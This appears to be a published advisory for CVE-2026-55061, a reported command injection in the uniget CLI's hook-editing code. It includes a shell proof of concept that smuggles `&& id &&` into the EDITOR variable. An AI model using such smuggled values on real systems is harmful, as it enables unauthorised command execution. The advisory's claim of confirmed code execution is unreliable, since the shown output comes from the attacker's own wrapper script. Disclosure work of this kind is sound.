CVE-2026-55061: Command Injection
Summary The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.
Vulnerable Code: editorWithArgs := strings.Split(editor, " ")
Location Context: editor := os.Getenv("UNIGETEDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...) Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.
Step to Reproduce
Step 1: Create malicious editor wrapper mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editorwrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editorwrapper.sh
Step 2: Create test hook mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh Step 3: Set injection payload export EDITOR="/tmp/poc-editor/editorwrapper.sh && id && echo"
Step 4: Run vulnerable code cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh Step 5: Observe output [EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)
<img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/gitlab.com/uniget-org/clito a version that resolves this vulnerability.Fixed in 0.27.6
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55061?
CVE-2026-55061 has a risk score of 62, indicating a medium severity level for the command injection vulnerability.
How do I fix CVE-2026-55061?
To mitigate CVE-2026-55061, update to the latest version of the uniget CLI, specifically version 0.27.6 or later.
What kind of vulnerability is CVE-2026-55061?
CVE-2026-55061 is classified as a command injection vulnerability.
Which software is affected by CVE-2026-55061?
The software affected by CVE-2026-55061 is the uniget CLI from gitlab.com/uniget-org/cli.
When was CVE-2026-55061 published?
CVE-2026-55061 was published on August 17, 2026.